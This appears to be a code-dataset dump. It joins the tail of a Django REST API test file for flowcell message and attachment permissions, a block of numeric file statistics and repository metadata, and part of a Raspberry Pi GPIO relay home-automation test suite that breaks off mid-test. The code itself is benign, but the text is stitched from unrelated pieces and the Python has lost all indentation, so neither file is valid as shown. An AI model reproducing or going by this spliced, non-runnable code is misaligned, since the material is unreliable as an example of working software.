"""Test that deleting messages via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
Message.objects.all().delete()
message = self.make_message()
self.assertEqual(Message.objects.count(), 1)
response = self.runDelete(
user, flowcell=self.flow_cell.sodar_uuid, message=message.sodar_uuid
)
self.response_204(response)
self.assertEqual(Message.objects.count(), 0)
class AttachmentListCreateApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for creation of attachments using REST API"""
url_name = "api:attachments"
def testGet(self):
"""Test that querying API for the attachments works (with super user)"""
response = self.runGet(
self.root, flowcell=self.flow_cell.sodar_uuid, message=self.draft_message.sodar_uuid
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 1)
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(None, flowcell=self.flow_cell.sodar_uuid, message=self.draft_message.sodar_uuid)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(
user, flowcell=self.flow_cell.sodar_uuid, message=self.draft_message.sodar_uuid
)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(
user, flowcell=self.flow_cell.sodar_uuid, message=self.draft_message.sodar_uuid
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(len(data), 1)
def testPost(self):
"""Test that creating attachments via API works (with super user)"""
response = self.runPost(
self.root,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
def testPostAccessDenied(self):
"""Test that creating attachments via API is denied if role assignment is missing"""
self.runPost(
None,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPost(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_403()
def testPostAccessAllowed(self):
"""Test that creating attachments via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPost(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_201(response)
data = json.loads(response.content.decode("utf-8"))
self.assertIn("sodar_uuid", data)
File.objects.filter(sodar_uuid=data["sodar_uuid"]).delete()
class AttachmentUpdateDeleteApiViewTest(
SetupFlowCellMixin,
SetupSequencingMachineMixin,
SetupBarcodeSetMixin,
SetupProjectMixin,
SetupUserMixin,
AuthenticatedRequestMixin,
APITestCase,
):
"""Tests for update and delete action using REST API"""
url_name = "api:attachments"
def testGet(self):
"""Test that querying API for attachments works (with super user)"""
response = self.runGet(
self.root,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.attached_file.sodar_uuid))
def testGetAccessDenied(self):
"""Test that access is denied if role assignment is missing"""
self.runGet(
None,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.response_401()
for user in (self.norole, self.unrelated_owner):
self.runGet(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.response_403()
def testGetAccessAllowed(self):
"""Test that access is allowed if role assignment is correct"""
for user in (self.guest, self.contributor, self.delegate, self.owner, self.root):
response = self.runGet(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.attached_file.sodar_uuid))
def testUpdate(self):
"""Test that updating attachments via API works (with super user)"""
response = self.runPut(
self.root,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.attached_file.sodar_uuid))
def testUpdateAccessDenied(self):
"""Test that updating attachments via API is denied if role assignment is missing"""
self.runPut(
None,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_403()
def testUpdateAccessAllowed(self):
"""Test that updating attachments via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
response = self.runPut(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
data=self.get_file_post_data(),
)
self.response_200(response)
data = json.loads(response.content.decode("utf-8"))
self.assertEqual(data["sodar_uuid"], str(self.attached_file.sodar_uuid))
def testDelete(self):
"""Test that deleting attachments via API works (with super user)"""
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
response = self.runDelete(
self.root,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.response_204(response)
self.assertEqual(self.draft_message.get_attachment_files().count(), 0)
def testDeleteAccessDenied(self):
"""Test that deleting attachments via API is denied if role assignment is missing"""
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
self.runDelete(
None,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
self.response_401()
for user in (self.guest, self.norole, self.unrelated_owner):
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
self.runDelete(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=self.attached_file.sodar_uuid,
)
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
self.response_403()
def testDeleteAccessAllowed(self):
"""Test that deleting attachments via API is allowed if role assignment is correct"""
for user in (self.contributor, self.delegate, self.owner, self.root):
self.draft_message.get_attachment_files().delete()
attachment_file = self.make_attachment_file()
self.assertEqual(self.draft_message.get_attachment_files().count(), 1)
response = self.runDelete(
user,
flowcell=self.flow_cell.sodar_uuid,
message=self.draft_message.sodar_uuid,
file=attachment_file.sodar_uuid,
)
self.response_204(response)
self.assertEqual(self.draft_message.get_attachment_files().count(), 0)
| 41.83702
| 103
| 0.644332
| 4,155
| 35,938
| 5.418773
| 0.040433
| 0.066756
| 0.050633
| 0.056629
| 0.948479
| 0.946036
| 0.932623
| 0.925339
| 0.908372
| 0.876482
| 0
| 0.012846
| 0.257054
| 35,938
| 858
| 104
| 41.885781
| 0.830412
| 0.135205
| 0
| 0.82684
| 0
| 0
| 0.020607
| 0.000684
| 0
| 0
| 0
| 0.001166
| 0.095238
| 1
| 0.090909
| false
| 0
| 0.011544
| 0
| 0.128427
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
3bdf6c839451ee38336e81c7167c8a392de77e43
| 25,300
|
py
|
Python
|
obsolete_tests.py
|
DanielDelchev/HomeAutomation
|
08b29053e2f9e3d88990c9b348b3cfcb668f88de
|
[
"MIT"
] | null | null | null |
obsolete_tests.py
|
DanielDelchev/HomeAutomation
|
08b29053e2f9e3d88990c9b348b3cfcb668f88de
|
[
"MIT"
] | null | null | null |
obsolete_tests.py
|
DanielDelchev/HomeAutomation
|
08b29053e2f9e3d88990c9b348b3cfcb668f88de
|
[
"MIT"
] | null | null | null |
import unittest
import web_control as control
import pin_controls as PINS
import RPi.GPIO as GPIO
import time
from beaker.middleware import SessionMiddleware
from cork import Cork
import logging
class TestPins(unittest.TestCase):
def testInit(self):
PINS.init(PINS.PIN1, PINS.PIN2)
BCM = 11
# check if the board numeration mode matches BCM mode
self.assertEqual(BCM, GPIO.getmode())
# check if both pins are raised (OFF state) after initialiazation
self.assertEqual(GPIO.HIGH, GPIO.input(PINS.PIN1))
self.assertEqual(GPIO.HIGH, GPIO.input(PINS.PIN2))
PINS.clean()
def testSwitch(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
PINS.switchState(PINS.PIN1, GPIO.LOW)
# check if PIN's state matches the expected after the switch
self.assertEqual(GPIO.LOW, GPIO.input(PINS.PIN1))
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.LOW)
# check if PIN's state matches the expected after the switch
PINS.switchState(PINS.PIN1, GPIO.HIGH)
self.assertEqual(GPIO.HIGH, GPIO.input(PINS.PIN1))
PINS.clean()
def testGetState(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
# check if the correct state of the PIN is returned
self.assertEqual(GPIO.HIGH, PINS.getState(PINS.PIN1))
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
# check if the correct state of the PIN is returned
self.assertEqual(GPIO.LOW, PINS.getState(PINS.PIN2))
PINS.clean()
class TestManualControl(unittest.TestCase):
def testStatus(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
# check if the correct status of the relay is returned
self.assertEqual('off', control.getStatus(PINS.PIN1))
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
# check if the correct status of the relay is returned
self.assertEqual('on', control.getStatus(PINS.PIN2))
PINS.clean()
def testState(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
actual = control.state()
expected1 = '{"relay2": "on", "relay1": "off"}'
expected2 = '{"relay1": "off", "relay2": "on"}'
self.assertTrue((actual == expected1) or (actual == expected2))
PINS.clean()
def testManualSwitch(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
control.relay1('on')
control.relay2('off')
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertTrue(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.relay1('off')
control.relay2('on')
time.sleep(3)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
PINS.clean()
class appointmentTester(unittest.TestCase):
def testLessThan(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
appointment1 = control.Appointment(
'N/A', 'N/A', 150, 90, True, 'code'
)
appointment2 = control.Appointment(
'N/A', 'N/A', 100, 200, False, 'code'
)
self.assertTrue(appointment1 < appointment2)
appointment3 = control.Appointment(
'N/A', 'N/A', 100, 150, False, 'code'
)
appointment4 = control.Appointment(
'N/A', 'N/A', 70, 200, False, 'code'
)
# test operator <
self.assertFalse(appointment3 < appointment4)
control.clearAllR1()
control.clearAllR2()
def testExpired(self):
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
appointmentX = control.Appointment(
'N/A', 'N/A', 100, 150, False, 'code'
)
self.assertTrue(appointmentX.expired())
future = round(time.time()) + 5
appointmentY = control.Appointment(
'N/A', 'N/A', 150, future, False, 'code'
)
self.assertFalse(appointmentY.expired())
time.sleep(7)
self.assertTrue(appointmentY.expired())
control.clearAllR1()
control.clearAllR2()
class AutoSwitchTester(unittest.TestCase):
# tests if auto switch performs properly
# also checks if different events
# interfere with each other in an
# unexpected or unusuall manner
def testSimultaniously1(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 16, epOff=now + 20, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 16, epOff=now + 20, relay='relay2'
)
time.sleep(18)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testSimultaniously2(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 16, epOff=now + 20, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 20, epOff=now + 16, relay='relay2'
)
time.sleep(18)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testOverlap1(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 15, epOff=now + 25, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 20, epOff=now + 30, relay='relay2'
)
time.sleep(18)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(4)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testOverlap2(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.LOW)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 30, epOff=now + 20, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 15, epOff=now + 25, relay='relay2'
)
time.sleep(18)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(4)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testDominantOverlap1(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.LOW)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 30, epOff=now + 10, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 15, epOff=now + 25, relay='relay2'
)
time.sleep(12)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(6)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testDominantOverlap2(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.LOW)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 10, epOff=now + 30, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 25, epOff=now + 15, relay='relay2'
)
time.sleep(12)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(6)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testHomogenousOverlap(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 30, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 15, epOff=now + 20, relay='relay1'
)
time.sleep(12)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
time.sleep(8)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testHeterogenousOverlap(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 30, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 20, epOff=now + 15, relay='relay1'
)
time.sleep(12)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
time.sleep(8)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testDigitalAnalogue(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 45, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 20, relay='relay2'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 25, epOff=now + 35, relay='relay2'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 40, epOff=now + 45, relay='relay2'
)
time.sleep(13)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(5)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(8)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
def testDigitalDigital(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 17, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 17, epOff=now + 27, relay='relay2'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 27, epOff=now + 37, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 37, epOff=now + 47, relay='relay2'
)
time.sleep(13)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(8)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.LOW)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
class EraseTester(unittest.TestCase):
# test if clearing events for one relay
# clears it correctly without influencing
# the other relay
def testErase(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 3600, epOff=now + 7200, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 1800, epOff=now + 3600, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=True,
epOn=now + 3600, epOff=now + 1800, relay='relay2'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 3600, epOff=now + 9000, relay='relay2'
)
time.sleep(3)
self.assertEqual(len(control.RELAY1_TIMERS), 4)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 2)
self.assertEqual(len(control.RELAY2_TIMERS), 4)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 2)
control.eraseR1()
time.sleep(3)
self.assertEqual(len(control.RELAY1_TIMERS), 0)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 0)
self.assertEqual(len(control.RELAY2_TIMERS), 4)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 2)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 3600, epOff=now + 9000, relay='relay1'
)
control.eraseR2()
time.sleep(3)
self.assertEqual(len(control.RELAY1_TIMERS), 2)
self.assertEqual(len(control.RELAY1_APPOINTMENTS), 1)
self.assertEqual(len(control.RELAY2_TIMERS), 0)
self.assertEqual(len(control.RELAY2_APPOINTMENTS), 0)
control.clearAllR1()
control.clearAllR2()
# checks if removing a snigle appointment from a relay
# works as expected
def testRemoveSingle1(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 20, relay='relay1'
)
ID = control.RELAY1_APPOINTMENTS[0].ID
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 25, epOff=now + 35, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 3600, epOff=now + 7200, relay='relay2'
)
control.remove_singleR1(str(ID))
time.sleep(15)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(6)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(10)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.HIGH)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.clearAllR1()
control.clearAllR2()
PINS.clean()
# checks if removing a snigle appointment from a relay
# works as expected
def testRemoveSingle2(self):
control.clearAllR1()
control.clearAllR2()
if (GPIO.getmode() != 11):
GPIO.setmode(GPIO.BCM)
GPIO.setup(PINS.PIN1, GPIO.OUT, initial=GPIO.HIGH)
GPIO.setup(PINS.PIN2, GPIO.OUT, initial=GPIO.HIGH)
now = round(time.time())
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 10, epOff=now + 20, relay='relay1'
)
ID = control.RELAY1_APPOINTMENTS[0].ID
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 25, epOff=now + 35, relay='relay1'
)
control.autoSwitchRelay(
wordsOn='N/A', wordsOff='N/A', reversed=False,
epOn=now + 3600, epOff=now + 7200, relay='relay2'
)
time.sleep(15)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
control.remove_singleR1(str(ID))
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(7)
self.assertEqual(GPIO.input(PINS.PIN1), GPIO.LOW)
self.assertEqual(GPIO.input(PINS.PIN2), GPIO.HIGH)
time.sleep(6)
